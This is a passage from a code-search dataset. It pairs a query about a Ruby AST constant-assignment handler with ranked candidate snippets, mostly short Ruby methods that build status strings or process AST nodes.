"text": "def status\n complete? ? 'Completed' : 'Failed'\n end",
"title": ""
},
{
"docid": "7a3f0a4cd41b7aa32604da3aa2994452",
"score": "0.6161122",
"text": "def status\n complete? ? 'Completed' : 'Failed'\n end",
"title": ""
},
{
"docid": "2d79186985b8d1a617298e8d11ead706",
"score": "0.61500484",
"text": "def description\n \"Derelict::Parser::Status instance\"\n end",
"title": ""
},
{
"docid": "5d7eeb0925d13051f4a54878e4342dc3",
"score": "0.61421114",
"text": "def status\n complete? ? @lines[-1][1] : 'incomplete'\n end",
"title": ""
},
{
"docid": "c4e1229225a529c34940d286f6fc1234",
"score": "0.6141693",
"text": "def status_description\n {\n WAITING_FOR_PAYMENT => 'Waiting for payment',\n PAYMENT_RECEIVED => 'Payment received',\n PAYMENT_ON_ACCOUNT => 'Payment on account'\n }[status]\n end",
"title": ""
},
{
"docid": "f834eda38de8a5dec8f8d03d358f381d",
"score": "0.6123326",
"text": "def status\n if @status == :all_dead then puts \"Simulation terminated. No more life.\"\n elsif @status == :static then puts \"Simulation terminated. No movement.\"\n elsif @status == :generations_complete \n then puts \"Simulation terminated. Specified lifetime ended.\"\n elsif @status == :running then puts \"Simulation running...\"\n else puts \"Simulation has not been run.\"\n end\n puts\n end",
"title": ""
},
{
"docid": "8a80d76fd4767920ffedbc56df246ed3",
"score": "0.6120111",
"text": "def status_text\n \"\"\n end",
"title": ""
},
{
"docid": "69682afa6ebcb4499e936c57e8d09002",
"score": "0.6115969",
"text": "def status_name\n ['paused', 'check wait', 'check', 'download wait', 'download',\n 'seed wait', 'seed', 'isolated'].at(status)\n end",
"title": ""
},
{
"docid": "c63549593b8d3daafa2f14eb1558a0e9",
"score": "0.6089884",
"text": "def steps_walked\n \"You have walked \" + @steps_walked.to_s + \" steps\"\n end",
"title": ""
},
{
"docid": "7e82816ea82f843321eb303130dbc73c",
"score": "0.6078988",
"text": "def status_msg\n raw_presence[:status_msg]\n end",
"title": ""
},
{
"docid": "085165437cd38382b4694c323453162f",
"score": "0.60761297",
"text": "def summary\n if [\"cancelled\", \"cancelling\"].include?(status)\n \"Execution by #{user.name} against #{short_reference} is #{status}\"\n else\n \"#{user.name} #{SUMMARY_ACTION.fetch(status)} against #{short_reference}\"\n end\n end",
"title": ""
},
{
"docid": "e4fe62e727ceda0a1e3353718400d703",
"score": "0.6075616",
"text": "def represent_status\n \t\"#{completed? ? '[x]' : '[ ]'}\" #ternary operator... if completed true, then [X]...\n end",
"title": ""
},
{
"docid": "e78a46e0b739122a593cdac761ff9b08",
"score": "0.6072075",
"text": "def to_s\n\t\t\"#{represent_status} #{description}\"\n\tend",
"title": ""
},
{
"docid": "1dd2cf559ebce721e4d489d7ae66bf1b",
"score": "0.60681933",
"text": "def short_message\n case @status.status\n when \"Success\"\n @package_duration.to_i.duration\n when \"NotCompatible\"\n \"NC\"\n when \"BlackList\"\n \"BL\"\n when \"LintError\"\n \"Lint\"\n when \"DepsError\"\n \"Deps\"\n when \"Error\"\n \"Error\"\n when \"UninstallError\"\n \"Uninstall\"\n else\n raise \"unknown status #{@status.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "4e22bf72e7bea94458f78ea101696e76",
"score": "0.60657257",
"text": "def get_status()\n if self.status == IN_PROGRESS\n \"In progress\"\n elsif self.status == FAILED\n \"Failed\"\n elsif self.status == COMPLETED\n \"Completed\"\n elsif self.status == CANCELLED\n \"Cancelled\"\n else \n \"Waiting\"\n end\n end",
"title": ""
},
{
"docid": "d11d9de30c3a6ec6bbe348f7af831a0d",
"score": "0.6062878",
"text": "def status\n if passed?\n if pending_count > 0\n \"pending\"\n elsif omission_count > 0\n \"omission\"\n elsif notification_count > 0\n \"notification\"\n else\n \"pass\"\n end\n elsif error_count > 0\n \"error\"\n elsif failure_count > 0\n \"failure\"\n end\n end",
"title": ""
},
{
"docid": "38c3db55712d8c4f2cfffd707f5013a0",
"score": "0.605458",
"text": "def state_string\n if self.review_state == 0\n \"In Process\"\n else\n \"Completed\"\n end\n end",
"title": ""
},
{
"docid": "61cddcec5ded9507666899d2ee59bfdf",
"score": "0.6045783",
"text": "def status\n\t\t@status.to_s\n\tend",
"title": ""
},
{
"docid": "3ea56483a2181a313bb2855c15e2e9c8",
"score": "0.60454035",
"text": "def current_status\n if self.done?\n self.failed? ? 'Error' : 'Completed'\n else\n 'Running'\n end\n end",
"title": ""
},
{
"docid": "c24b4988280bcc8b4859f2c6b36058c6",
"score": "0.60453427",
"text": "def status_text\n\t\treturn \"Awaiting Review\" if (!complete && is_pending && !provPassReq)\n\t\treturn '<span style=\"color:#EEA236;\">Provisional Requested</span>' if (!complete && pass && provPassReq && !provPass)\n\t\treturn '<span style=\"color:#EEA236;\">Provisionally Passed</span>' if (complete && pass && provPassReq && provPass)\n\t\treturn \"In Progress\" if (!complete)\n\t\treturn '<span style=\"color:#009933;\">Test Passed</span>' if (complete && pass)\n\t\treturn '<span style=\"color:#B40404;\">Test Failed</span>' if (complete && !pass)\n\tend",
"title": ""
},
{
"docid": "a6fd0441b89ee8a7998b926bdc68d36b",
"score": "0.6043094",
"text": "def status\n @raw_status.class.to_s.split(\"::\")[1]\n end",
"title": ""
},
{
"docid": "233c5c201d33bce9b54b375b9136e431",
"score": "0.6035186",
"text": "def get_status_string(job)\n status_string = job.status.dup\n status_string << \": #{job.latest_assignment&.status}\" unless\n job.status == Job::STATE_COMPLETED.to_s ||\n job.latest_assignment.nil? ||\n job.latest_assignment&.status == Assignment::STATE_FULFILLED.to_s\n return status_string\n end",
"title": ""
},
{
"docid": "bfc6c328913329cfdba55aa5f2553cd0",
"score": "0.6033133",
"text": "def status_message\n ret = ''\n\n hash = status\n if hash\n if hash.pct_complete\n ret += \"#{hash.pct_complete}%\"\n if hash.message\n ret += \": \"\n end\n end\n if hash.message\n ret += hash.message\n end\n end\n\n ret\n end",
"title": ""
},
{
"docid": "a5f55b328eafc2ebfaa6ab64d5206e95",
"score": "0.6027977",
"text": "def status\n if stopped?\n 'Stopped'\n elsif stopping?\n 'Stopping'\n elsif running?\n 'Running'\n elsif failed?\n 'Failed'\n else\n 'Unknown'\n end\n end",
"title": ""
},
{
"docid": "a01050016ca9a36a0d0f1f65aaa54812",
"score": "0.6006135",
"text": "def description\n retVal = \"Commands are as follows:\\n\"\n\n commandCounter = 0\n for command in @commands\n retVal << \"#{commandCounter.to_s}. #{command.description}\\n\"\n commandCounter += 1\n end\n\n return(retVal)\n end",
"title": ""
},
{
"docid": "d537d631e05733c402c6eb7763c0fe9f",
"score": "0.60022867",
"text": "def print_status\n if @status == \"incomplete\"\n \"Type: #{self.class.to_s} / Title: #{@title} / Description: #{@description}\"\n else\n \"Type: #{self.class.to_s} / Title: #{@title} / Description: #{@description} / Status: #{@status}\"\n end\n end",
"title": ""
},
{
"docid": "82a5374da3600bdac258b30157eea38c",
"score": "0.5998618",
"text": "def status_as_string\n status&.to_s&.humanize&.downcase&.sub('exposure ', '')&.sub('isolation ', '')\n end",
"title": ""
},
{
"docid": "1efdb7710515390836ba396f0f0eff9b",
"score": "0.59934056",
"text": "def status_message\n ret = ''\n\n if task.progress\n ret << \"#{(task.progress * 100).to_i}%\"\n ret << ': ' if task.progress_message.present?\n end\n ret << task.progress_message if task.progress_message.present?\n\n ret\n end",
"title": ""
},
{
"docid": "22b3fc874e2c3c5a6491daadfce68335",
"score": "0.5988916",
"text": "def status\n exec_cmd('STATUS')\n @message\n end",
"title": ""
},
{
"docid": "fe1e5f848d28b28cbe078ae40178a2b8",
"score": "0.59876794",
"text": "def describe\n description = [@description]\n n = 0\n @steps.each do |step|\n description << \" #{n+=1}. #{step.description}\"\n end\n description.join \"\\n\"\n end",
"title": ""
},
{
"docid": "6c882b6bdfe24c3e27a8d06445d514a6",
"score": "0.59745127",
"text": "def summary_for_timeline\n if [\"cancelling\", \"cancelled\", \"errored\"].include?(status)\n \"#{short_reference} deploy to #{stage&.name} is #{status}\"\n else\n \"#{short_reference}#{' was' if job.succeeded?} #{summary_action} to #{stage&.name}\"\n end\n end",
"title": ""
},
{
"docid": "c815beda8e97e9f1bc8c2b1a27df34da",
"score": "0.59650207",
"text": "def to_machine\r\n \"#{represent_status}: #{description}\"\r\n end",
"title": ""
},
{
"docid": "6d463a0ef67fbbe57aba54a60674473c",
"score": "0.59597045",
"text": "def status_s; Statuses[status] end",
"title": ""
},
{
"docid": "6d463a0ef67fbbe57aba54a60674473c",
"score": "0.59597045",
"text": "def status_s; Statuses[status] end",
"title": ""
},
{
"docid": "d1ecc7e01ec027cfa3f2917d79579728",
"score": "0.59525836",
"text": "def get_status_text\n return @status_text\n end",
"title": ""
},
{
"docid": "a30ad727ae69fe7900527020292cbdbc",
"score": "0.5948259",
"text": "def status\n if result == '00'\n 'Completed'\n else\n 'Invalid'\n end\n end",
"title": ""
},
{
"docid": "1489930d9ad12271f7f397291f6cb6bc",
"score": "0.59361905",
"text": "def status\n last_run_summary\n succeed? ? 'succeed' : @summary.fetch(:status, 'undefined')\n end",
"title": ""
},
{
"docid": "b8d38eb2a62dd25978ca8fcd80411301",
"score": "0.593359",
"text": "def dummy_status\n return <<-EOS\n dummy_project_1,Sleeping,Success\n dummy_project_2,Sleeping,Failure\n dummy_project_3,CheckingModifications,Success\n dummy_project_4,CheckingModifications,Failure\n dummy_project_5,Building,Success\n dummy_project_6,Building,Failure\n dummy_project_7,Unknown,Success\n dummy_project_8,Unknown,Failure\n EOS\n end",
"title": ""
},
{
"docid": "4616c9cb277244843d76e4c04da8be20",
"score": "0.59319675",
"text": "def passage_status\n if passed\n if success_type\n \"PASS: #{TestInstance.success_types[success_type]}\"\n else\n \"PASS\"\n end\n else\n if failure_type\n \"FAIL: #{TestInstance.failure_types[failure_type]}\"\n else\n \"FAIL\"\n end\n end\n end",
"title": ""
},
{
"docid": "3001dc1574efd309faeb3437ed86ece4",
"score": "0.5928254",
"text": "def state_string\n\t\t\t\tif running?\n\t\t\t\t\t\"running\"\n\t\t\t\telse\n\t\t\t\t\t\"stopped\"\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "e101a3903369f195369a7f56a94a6788",
"score": "0.5923601",
"text": "def cmd_status()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "32720a1add99ba75a3eece91615e6d07",
"score": "0.5915921",
"text": "def status\n return if none?\n\n strong_memoize(:status) do\n if only_of?(:skipped, :ignored)\n 'skipped'\n elsif only_of?(:success, :skipped, :success_with_warnings, :ignored)\n 'success'\n elsif only_of?(:created, :success_with_warnings, :ignored)\n 'created'\n elsif only_of?(:preparing, :success_with_warnings, :ignored)\n 'preparing'\n elsif only_of?(:canceled, :success, :skipped, :success_with_warnings, :ignored)\n 'canceled'\n elsif only_of?(:pending, :created, :skipped, :success_with_warnings, :ignored)\n 'pending'\n elsif any_of?(:running, :pending)\n 'running'\n elsif any_of?(:manual)\n 'manual'\n elsif any_of?(:scheduled)\n 'scheduled'\n elsif any_of?(:preparing)\n 'preparing'\n elsif any_of?(:created)\n 'running'\n else\n 'failed'\n end\n end\n end",
"title": ""
},
{
"docid": "aec2dddb91be20217b8130595b29d36f",
"score": "0.59127074",
"text": "def task_status\n return nil unless description\n\n num_tasks = 0\n num_done = 0\n\n description.scan(TASK_PATTERN_MD) do\n num_tasks += 1\n num_done += 1 unless $LAST_MATCH_INFO[:checked] == ' '\n end\n\n \"#{num_tasks} tasks (#{num_done} done, #{num_tasks - num_done} unfinished)\"\n end",
"title": ""
},
{
"docid": "76c6d6a17cc300d5ef56f0a72419135a",
"score": "0.5908686",
"text": "def statuscmd\n end",
"title": ""
},
{
"docid": "a424c5674357b27a4ea951cff31b3a4e",
"score": "0.59047943",
"text": "def get_status()\n @status.to_s\n end",
"title": ""
},
{
"docid": "b39cc35ba7ea4ba4f03f6b7b8d4d5f83",
"score": "0.5893207",
"text": "def status\n @status.to_sym\n end",
"title": ""
},
{
"docid": "faa09a01b5dd62067cd0160c1d53d30a",
"score": "0.58907145",
"text": "def present_progress\n if finished?\n \"Accomplished! (Fully implemented and marked as finished)\"\n else\n if steps.empty?\n \"Preliminary Design (Lacks steps)\"\n else\n if steps.all? {|step| step.completed?}\n \"Development or Pending Submission (Fully performed but not marked finished)\"\n else\n \"Development or Implementation (Contains at least one incomplete step)\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "77ef8e5d1fae2b93b6358466cbcf8b71",
"score": "0.5885497",
"text": "def status_name\n status.name if status\n end",
"title": ""
},
{
"docid": "345cda394d73109060a3c2dc2f77d964",
"score": "0.58746153",
"text": "def status_message\n return \"build status is unknown\" if self.status.blank?\n STATUS_MESSAGES[self.status.to_sym] || \"build status is unknown\"\n end",
"title": ""
},
{
"docid": "fc88e2c86ed2f2512b24c38192bac29b",
"score": "0.58586967",
"text": "def print_status\n text = \"Type: #{self.class.to_s} / Title: #{@title} / Description: #{@description} / Status: #{@status}\"\n if @due_date != nil\n text += \" / Due Date: #{self.due_date.strftime('%m-%d-%Y')}\"\n end\n end",
"title": ""
},
{
"docid": "65929539ffa090a210ba1e16eac0d3eb",
"score": "0.5858499",
"text": "def status\r\n \"#{self.label} Score: #{self.score} | Lives: #{self.lives}/#{self.initial_lives}\"\r\n end",
"title": ""
},
{
"docid": "aa97887f419dbd3ee1e83e81182341a7",
"score": "0.5851383",
"text": "def status\n lines.last.chomp\n end",
"title": ""
},
{
"docid": "0428b43c620a1e25be7631341822bd98",
"score": "0.5849797",
"text": "def status\n 'Completed'\n end",
"title": ""
},
{
"docid": "fff9789be15a20a70396522d5f078fe3",
"score": "0.58473706",
"text": "def human_status_name\n enum_status\n end",
"title": ""
},
{
"docid": "f4c6703560d542f7856b0e75a76af6a7",
"score": "0.58384293",
"text": "def status\n output = \"\"\n output << \"Provisions & Inventory\\n\"\n output << \"You can buy 1- Flamming Torch ($15)\\n\"\n output << \"2 - Axe ($10)\\n\"\n output << \"3 - Sword ($20)\\n\"\n output << \"4 - Food ($2 per unit)\\n\"\n output << \"5 - Magic Amulet ($30)\\n\"\n output << \"6 - Suit of Armor ($50)\\n\"\n output << \"0 - To continue adventure\\n\"\n\n output\n end",
"title": ""
},
{
"docid": "4ed110eddf00fe1eeadd0b639ba1dccd",
"score": "0.58358413",
"text": "def status_name\n status.name if status\n end",
"title": ""
},
{
"docid": "d51d9a161815c865c5e93e5b594a217c",
"score": "0.5833452",
"text": "def status_text\n status == 1 ? 'Accepted' : 'TBD'\n end",
"title": ""
},
{
"docid": "3b173f831ef8bd3ddf6a7a0156f280e6",
"score": "0.58321023",
"text": "def status\n @raw_status\n end",
"title": ""
},
{
"docid": "3b173f831ef8bd3ddf6a7a0156f280e6",
"score": "0.58321023",
"text": "def status\n @raw_status\n end",
"title": ""
},
{
"docid": "b3d74ec004551ad5b375e3c96f18bcd2",
"score": "0.5823114",
"text": "def status\n return I18n.t('training_status.completed') if module_completed?\n return I18n.t('training_status.started') if module_started?\n return I18n.t('training_status.not_started')\n end",
"title": ""
},
{
"docid": "2bc33c97cd4287d528d15c92900f5af3",
"score": "0.58224434",
"text": "def text(include_id=false)\n body = nil\n case @status\n when :none\n body = \"#{@description}\"\n when :passed\n body = \"#{@description}: PASSED\"\n when :failed\n body = \"#{@description}: FAILED\"\n when :cancelled\n body = \"#{@description}: CANCELLED\"\n when :error\n body = \"#{@description}\"\n end\n\n return include_id ? \"#{scenario_id}: #{body}\" : body\n\n end",
"title": ""
},
{
"docid": "36409f7264aebdc2baa3fb9716055172",
"score": "0.5818603",
"text": "def status\n \"hell world\"\n end",
"title": ""
},
{
"docid": "bc4aa2c0f83431ae01cbec822db81256",
"score": "0.5804232",
"text": "def short_status\n l = \" \"\n l = \"L\" if @remote_head && to_be_pulled?\n\n b = \" \"\n b = \"B\" if multiple_branch?\n\n s = \" \"\n s = \"S\" if to_be_staged?\n\n c = \" \"\n c = \"C\" if to_be_commited?\n\n p = \" \"\n p = \"P\" if to_be_pushed?\n\n return (l + b + s + c + p + \" \" + File.basename(@path))\n end",
"title": ""
},
{
"docid": "10175ab1d9fb3b9e8a2b70de6dd6b10b",
"score": "0.57924515",
"text": "def status_name\n n = name\n n += \" *\" unless self.active?\n n += \" ᵖ\" if self.partner?\n n\n end",
"title": ""
},
{
"docid": "051a79f7cab7700d15c74cceafa535b7",
"score": "0.57912755",
"text": "def statusmsg\n returned_parameters[\"statusmsg\"]\n end",
"title": ""
},
{
"docid": "90a3a52d09ecc1fd14a10efda32d9de2",
"score": "0.5789175",
"text": "def step_name(keyword, step_match, status, source_indent, background)\n\n @step_name = step_match.format_args( lambda{| param | \"#{ param }\" } )\n\n=begin \n status_table = { \n :passed => 'PASSED', \n :failed => 'FAILED', \n :skipped => 'SKIPPED', \n :undefined => 'NOT_RUN' \n }\n=end\n status_table2 = { \n :passed => 'passed', \n :failed => 'failed', \n :skipped => 'skipped', \n :undefined => 'not run' \n }\n\n if status_table2.has_key?( status )\n\n step_name = step_match.format_args( lambda{ | param | \"#{ param }\" } )\n\n update_scenario(\"#{ step_name }\", status, keyword ) if @step_name != 'I execute'\n\n @tc_status = status_table2[ status ] \n \n else\n\n puts \"Unknown status '#{ status.inspect }' in '#{ step_name }'\"\n\n end\n\n=begin\n if status == :passed\n step_name = step_match.format_args(lambda{|param| \"#{param}\"})\n update_scenario(\"#{step_name} PASSED\") if @step_name!='I execute'\n @tc_status='passed'\n end\n\n if status == :failed\n step_name = step_match.format_args(lambda{|param| \"#{param}\"})\n update_scenario(\"#{step_name} FAILED\") if @step_name!='I execute'\n @tc_status='failed'\n end\n\n if status == :skipped\n step_name = step_match.format_args(lambda{|param| \"#{param}\"})\n update_scenario(\"#{step_name} SKIPPED\") if @step_name!='I execute'\n end\n\n if status == :undefined\n step_name = step_match.format_args(lambda{|param| \"#{param}\"})\n update_scenario(\"#{step_name} NOT_RUN\") if @step_name!='I execute'\n @tc_status='not run'\n end\n=end\n\n end",
"title": ""
},
{
"docid": "adb95f49ae2da9570e03fd555f75cc44",
"score": "0.5788602",
"text": "def to_s\n @status.to_s\n end",
"title": ""
},
{
"docid": "f5b8c5fcc5e66296dced19499aae9fbe",
"score": "0.57699144",
"text": "def status_line\n\t\tself.log.debug \"Building status line for status: %p\" % [ self.status ]\n\n\t\tst = self.status ||\n\t\t ((self.body.nil? || self.body.empty?) ? HTTP::NO_CONTENT : HTTP::OK)\n\t\treturn STATUS_LINE_FORMAT % [ st, HTTP::STATUS_NAME[st] ]\n\tend",
"title": ""
},
{
"docid": "31b5e2bc0c4066955e7c089382f514cf",
"score": "0.5768176",
"text": "def status_name\n return STATUS_NAME[self.status]\n end",
"title": ""
}
] |
f67bf25442253fdb2a027fc26243acde
|
def on_casgn(node) scope_node, name, value_node = node if !value_node.nil? node.updated(nil, [ process(scope_node), name, process(value_node) ]) else node.updated(nil, [ process(scope_node), name ]) end end
|
[
{
"docid": "bb0ff10f280ca73dd9e65e42e3ec456c",
"score": "0.0",
"text": "def block_pass_in_args?(arg_nodes)\n arg_nodes.any? && arg_nodes.last.type == :block_pass\n end",
"title": ""
}
] |
[
{
"docid": "70414f0fc0e96bbd9bbb628d80856bd4",
"score": "0.734721",
"text": "def on_vasgn(node)\n name, value_node = *node\n\n if !value_node.nil?\n node.updated(nil, [\n name, process(value_node)\n ])\n else\n node\n end\n end",
"title": ""
},
{
"docid": "ea7bca82b58fcffc89d41536a234754e",
"score": "0.724337",
"text": "def on_casgn(node)\n # Don't push values for the receiver constant.\n @ignored_nodes << node.children[0] if node.children[0]\n\n reset_assignment_value\n value_stack.add_stack\n end",
"title": ""
},
{
"docid": "f1689730e88a0c5df841eb2a91296937",
"score": "0.60778487",
"text": "def on_cvasgn(node)\n if @ngContext == :controller\n if node.children.length == 1\n process s(:attr, s(:self), \"#{node.children.first.to_s[2..-1]}\")\n else\n process s(:send, s(:self), \"#{node.children.first.to_s[2..-1]}=\",\n node.children.last)\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "6e2ef0fce390675109bed779efd19366",
"score": "0.59594685",
"text": "def on_ivasgn(node)\n if @ngContext == :controller\n if node.children.length == 1\n process s(:attr, s(:gvar, :$scope),\n \"#{node.children.first.to_s[1..-1]}\")\n else\n process s(:send, s(:gvar, :$scope),\n \"#{node.children.first.to_s[1..-1]}=\", node.children.last)\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "3918e38411036f5f66de0a3417a129fa",
"score": "0.5935818",
"text": "def on_and_asgn(node); end",
"title": ""
},
{
"docid": "ba38cf9a6bee843185d1ec41bbfeb2ad",
"score": "0.59014416",
"text": "def on_lvasgn(node)\n name, value_node = *node\n lvars.set(name, process(value_node))\n end",
"title": ""
},
{
"docid": "efa23ce4aded05f362b519ddb30befa9",
"score": "0.58790666",
"text": "def return_value_node_of_scope(scope); end",
"title": ""
},
{
"docid": "26122e2059b7d9c28eacd063a4991c9c",
"score": "0.58539414",
"text": "def node=(node)\n c[:node] = node\n end",
"title": ""
},
{
"docid": "2a378e75480b4c6a78a19975c852b57d",
"score": "0.5669829",
"text": "def on_or_asgn(node); end",
"title": ""
},
{
"docid": "be1f7f53ed07c564c9179d108aaa24e8",
"score": "0.5641985",
"text": "def visit_ensure(node)\n node.copy(\n keyword: visit(node.keyword),\n statements: visit(node.statements)\n )\n end",
"title": ""
},
{
"docid": "bdb472809ff7358cf1acce7d6b93148d",
"score": "0.56301576",
"text": "def scope_type(node); end",
"title": ""
},
{
"docid": "44d55445ccfbd1a0fd0ed8d76d7da431",
"score": "0.55566704",
"text": "def visit_cvar(node)\n node.copy\n end",
"title": ""
},
{
"docid": "525eed8c2221779970d49a81df1b8d45",
"score": "0.5515998",
"text": "def on_nth_ref(node)\n var = definitions.lookup(:gvar, \"$#{node.children[0]}\")\n\n push_value(var.value)\n end",
"title": ""
},
{
"docid": "73c6b09c765a4b95a88e7204b958adc3",
"score": "0.55122113",
"text": "def node=(_); end",
"title": ""
},
{
"docid": "73c6b09c765a4b95a88e7204b958adc3",
"score": "0.55122113",
"text": "def node=(_); end",
"title": ""
},
{
"docid": "73c6b09c765a4b95a88e7204b958adc3",
"score": "0.55122113",
"text": "def node=(_); end",
"title": ""
},
{
"docid": "73c6b09c765a4b95a88e7204b958adc3",
"score": "0.55122113",
"text": "def node=(_); end",
"title": ""
},
{
"docid": "73c6b09c765a4b95a88e7204b958adc3",
"score": "0.55122113",
"text": "def node=(_); end",
"title": ""
},
{
"docid": "73c6b09c765a4b95a88e7204b958adc3",
"score": "0.55122113",
"text": "def node=(_); end",
"title": ""
},
{
"docid": "de3372c52da7f3e953a49fa5312a6449",
"score": "0.548233",
"text": "def visit_gvar(node)\n node.copy\n end",
"title": ""
},
{
"docid": "4bf33ff50f5129a1c91a9994450d64dd",
"score": "0.546334",
"text": "def node=(val)\n attributes['node'] = val\n end",
"title": ""
},
{
"docid": "d8db291e4571f077269d818b54e45828",
"score": "0.5459984",
"text": "def on_node_change(node)\n true\n end",
"title": ""
},
{
"docid": "8ab6acc7b307eadb8b5222161c6f1b7e",
"score": "0.54512846",
"text": "def cc=(val); end",
"title": ""
},
{
"docid": "72e82a45fb1ceeb9bb5c7a5d084c33b7",
"score": "0.5423465",
"text": "def on_lvasgn(node)\n sym = node.children[0]\n\n # Handle multiple assignments\n expr_node = node.parent&.mlhs_type? ? node.parent.parent : node\n return if lvar_with_sym(expr_node, sym).all? do |current_node|\n defined_before?(current_node, sym)\n end\n\n add_offense(node)\n end",
"title": ""
},
{
"docid": "e50029bd59e5852fefda8078e4c3fa7f",
"score": "0.53786546",
"text": "def visit_gvar(node); end",
"title": ""
},
{
"docid": "741f8c9f7dd176cbb49d636411fe624e",
"score": "0.536886",
"text": "def node=(_arg0); end",
"title": ""
},
{
"docid": "741f8c9f7dd176cbb49d636411fe624e",
"score": "0.536886",
"text": "def node=(_arg0); end",
"title": ""
},
{
"docid": "741f8c9f7dd176cbb49d636411fe624e",
"score": "0.536886",
"text": "def node=(_arg0); end",
"title": ""
},
{
"docid": "741f8c9f7dd176cbb49d636411fe624e",
"score": "0.536886",
"text": "def node=(_arg0); end",
"title": ""
},
{
"docid": "741f8c9f7dd176cbb49d636411fe624e",
"score": "0.536886",
"text": "def node=(_arg0); end",
"title": ""
},
{
"docid": "c4604a2d239ba59f4602b7c419e53ed9",
"score": "0.5344067",
"text": "def node=(val)\n attributes['node'] = val\n end",
"title": ""
},
{
"docid": "1e3ae8da8b8eb547b05ad2b9ba02dcfa",
"score": "0.53355396",
"text": "def update_node!(node)\n node.remove()\n @store.append(node.key, node.val)\n end",
"title": ""
},
{
"docid": "32b677528f180c86157fc17faac0d3b5",
"score": "0.5314832",
"text": "def on_for(node)\n scope = definitions\n\n # The values are set to `nil` as the only reliable way of retrieving\n # these is actual code evaluation.\n node.children[0].each do |variable|\n assign_variable(scope, variable, nil)\n end\n end",
"title": ""
},
{
"docid": "37cc7b314ee0ab1e12e6367f92a21635",
"score": "0.53135836",
"text": "def visit_ensure(node); end",
"title": ""
},
{
"docid": "67c9635ba7d91514b3efc10117d8d135",
"score": "0.53056824",
"text": "def update_node!(node)\n node.remove\n @store.append(node.key, node.val)\n end",
"title": ""
},
{
"docid": "8a49a8bf108d9bf1a146c160c515375e",
"score": "0.5301766",
"text": "def assign(node)\n left_value = node.left_value\n right_value = node.right_value\n return unless left_value.sexp_type == :field && right_value.sexp_type == :call\n\n aref_node = right_value.grep_node(sexp_type: :aref)\n if aref_node\n assignments(left_value.receiver.to_s) << { message: left_value.message.to_s, arguments: aref_node.to_s }\n end\n end",
"title": ""
},
{
"docid": "b364cdc481156213d4cdc77eeed9265c",
"score": "0.5299962",
"text": "def visit_assign(node); end",
"title": ""
},
{
"docid": "f53828bd0864876060e6d3646563f81d",
"score": "0.52867985",
"text": "def node=(node)\n create_node[:node] = node\n end",
"title": ""
},
{
"docid": "02625c5c484ffe582d73a26b1e54dcc3",
"score": "0.52664435",
"text": "def on_cvar(node)\n if @ngContext == :controller\n process s(:attr, s(:self), node.children.first.to_s[2..-1])\n else\n super\n end\n end",
"title": ""
},
{
"docid": "52e61f63793cc4d8c6a37ed12f1ef60d",
"score": "0.5259561",
"text": "def nodeValue=(p)\n ## no effect\n end",
"title": ""
},
{
"docid": "52e61f63793cc4d8c6a37ed12f1ef60d",
"score": "0.5259561",
"text": "def nodeValue=(p)\n ## no effect\n end",
"title": ""
},
{
"docid": "91814187b5723285e472df9155e35339",
"score": "0.5258476",
"text": "def normalize_node_value(node_value)\n normalize_node_value3(node_value, [], Set.new)\n end",
"title": ""
},
{
"docid": "5b2bf638091c2b36fe4147c761942db5",
"score": "0.52509606",
"text": "def node=(node)\n subscribe[:node] = node\n end",
"title": ""
},
{
"docid": "e9a189243acadd5108af9c9160d9defc",
"score": "0.5248016",
"text": "def visit_cvar(node); end",
"title": ""
},
{
"docid": "83a6227beb4812b505191126693f8fee",
"score": "0.52289295",
"text": "def opassign_defined(node); end",
"title": ""
},
{
"docid": "fbb73685b325aba82ac03d56c0eaafd8",
"score": "0.52179104",
"text": "def set_current_scope(node)\n @scopes << associated_definition(node)\n end",
"title": ""
},
{
"docid": "7e0a420195106ce5ec1409608b204c4c",
"score": "0.52089196",
"text": "def set_node_value(x, v)\n x.value = v\n end",
"title": ""
},
{
"docid": "260478816f3e1867b04970261014d42c",
"score": "0.52023685",
"text": "def visit_var_ref(node)\n visit(node.value)\n end",
"title": ""
},
{
"docid": "bd24975710fcf94cc97e26d17774c786",
"score": "0.5192849",
"text": "def on_ivar(node)\n if @ngContext == :controller\n process s(:attr, s(:gvar, :$scope), node.children.first.to_s[1..-1])\n else\n super\n end\n end",
"title": ""
},
{
"docid": "d6e5101b9c09a78ba9c23395dad3e75d",
"score": "0.51584476",
"text": "def modify_node(node)\n\t\t\t\tif @callbacks[:modify_ast]\n\t\t\t\t\tnode = @callbacks[:modify_ast].call(node)\n\t\t\t\tend\n\t\t\t\tnode\n\t\t\tend",
"title": ""
},
{
"docid": "49bce52070c36a20ae5f26875079400d",
"score": "0.5151635",
"text": "def scope=(v); end",
"title": ""
},
{
"docid": "49bce52070c36a20ae5f26875079400d",
"score": "0.5151635",
"text": "def scope=(v); end",
"title": ""
},
{
"docid": "14df3645f74a0f52ebf750119bde9dee",
"score": "0.514514",
"text": "def record_scope_entry(scope_node, scope_context_entry, scope_context_before)\n dict = (@scope_entries[scope_node] ||= {})\n (dict[scope_context_entry] ||= Set.new).add(scope_context_before)\n #puts \"Recording scope entry:\"\n #puts \" scope node: #{scope_node}\"\n #puts \" scope context entry: #{scope_context_entry}\"\n #puts \" scope context before:#{scope_context_before}\"\n end",
"title": ""
},
{
"docid": "c6c52dba49e212bd6896ebc5ac6908e3",
"score": "0.5142488",
"text": "def visit_var_ref(node)\n node.copy(value: visit(node.value))\n end",
"title": ""
},
{
"docid": "38dea3ced61017ef2ec463c6a841b451",
"score": "0.5138236",
"text": "def visit_aref(node); end",
"title": ""
},
{
"docid": "8f29135c3c8d23b1aea21748fef6f907",
"score": "0.5137066",
"text": "def visit_assoc(node)\n node.copy\n end",
"title": ""
},
{
"docid": "ae32c1e59db3cd7b6f9b0f5330d6f9d5",
"score": "0.5126049",
"text": "def node= node\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "38d075834c679e1d6ef61b58add0bdc0",
"score": "0.5125643",
"text": "def root_value=(_arg0); end",
"title": ""
},
{
"docid": "ee6fd65bd41b710684d776c847be3fe1",
"score": "0.51187325",
"text": "def compare_to_value(value, node)\n @prc.call(value, node.value)\n end",
"title": ""
},
{
"docid": "fb70a07838894ef2154fcac05228578b",
"score": "0.5115069",
